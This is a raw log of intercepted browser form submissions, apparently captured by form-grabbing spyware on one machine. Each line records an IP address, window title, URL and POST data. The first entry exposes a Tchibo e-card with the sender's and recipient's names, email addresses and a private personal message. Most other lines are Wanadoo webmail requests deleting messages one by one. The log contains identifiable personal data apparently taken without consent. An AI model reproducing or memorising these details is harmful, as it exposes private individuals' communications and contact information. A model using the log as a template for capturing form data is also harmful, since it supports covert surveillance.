    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=Tchibo.co.uk - A new experience every week - Microsoft Internet Explorer URL=http://movie.tchibo.co.uk/cgi-bin/write.pl data: cardcontent=%3CmovieData%20senderName%3D%22%2D1%22%20speaker%3D%221%22%20music%3D%223%22%20bg%3D%222%22%20character%3D%223%22%3E%3Ctext%3EThank%20You%20Darling%20Wife%20to%20be%20%0DLove%20You%20Too%20Kenny%20X%20X%20X%20X%20%3C%2Ftext%3E%3C%2FmovieData%3E&clientid=uk&srccardid=rLUmnOkqoMkmNhnIHfid0&receivermail0=dm002d4973%40blueyonder%2Eco%2Euk&receivername0=Debby&sendermail=kenny%40kayjay%2Efreeserve%2Eco%2Euk&sendername=Kenny
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/read.html data: MSG_UID=710&IDMSG=709&uids=710&FOLDER=SF_INBOX&FOLDER_ENCODE=SF_INBOX&FOLDER_DEST=SF_JUNK&TYPE=&PAGE=read.html&URL_VALID=inbox_submit_expunge.html&URL_CANCEL=read.html&MESSAGE=CONFIRM_DELETE&PARAM1=1&CONFIRM_DELETE=true&ADDRESS_TO_BLOCK=&from=&FILTERED_EMAILS=&SEARCH=NOK&URL_UNSEEN=inbox.html&FROM_SEARCH=NOK&MESSAGE_NATURE=EMAIL-NATURE&MESSAGE_CONFIRM=&ROOT=inbox.html&ORIGIN=SYSTEM_FOLDER&maildisplay_option=0&selcheck0=on&selname_0=Debby&selemail_0=&READ_MAIL=OK&selcheck1=on&selname_1=Kenny&selemail_1=&msgId=
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=709&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=708&PREV_MSG=710&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D709%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=708&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=707&PREV_MSG=709&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D708%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=707&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=706&PREV_MSG=708&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D707%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=706&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=705&PREV_MSG=707&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D706%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=705&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=704&PREV_MSG=706&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D705%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=704&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=703&PREV_MSG=705&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D704%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=703&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=702&PREV_MSG=704&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D703%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=702&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=701&PREV_MSG=703&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D702%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=701&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=700&PREV_MSG=702&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D701%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=700&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=699&PREV_MSG=701&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D700%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=699&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=698&PREV_MSG=700&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D699%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=698&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=697&PREV_MSG=699&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D698%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=697&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=696&PREV_MSG=698&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D697%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=696&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=695&PREV_MSG=697&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D696%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=695&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=694&PREV_MSG=696&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D695%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=694&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=693&PREV_MSG=695&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D694%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=693&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=692&PREV_MSG=694&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D693%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=692&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=691&PREV_MSG=693&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D692%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=691&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=690&PREV_MSG=692&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D691%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=690&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=689&PREV_MSG=691&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D690%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=689&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=688&PREV_MSG=690&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D689%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=688&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=687&PREV_MSG=689&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D688%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=687&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=686&PREV_MSG=688&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D687%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=686&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=685&PREV_MSG=687&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D686%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=685&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=684&PREV_MSG=686&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D685%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=684&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=683&PREV_MSG=685&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D684%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=683&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=682&PREV_MSG=684&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D683%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=682&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=681&PREV_MSG=683&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D682%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=681&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=680&PREV_MSG=682&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D681%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=680&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=679&PREV_MSG=681&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D680%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=679&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=678&PREV_MSG=680&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D679%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=678&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=677&PREV_MSG=679&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D678%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
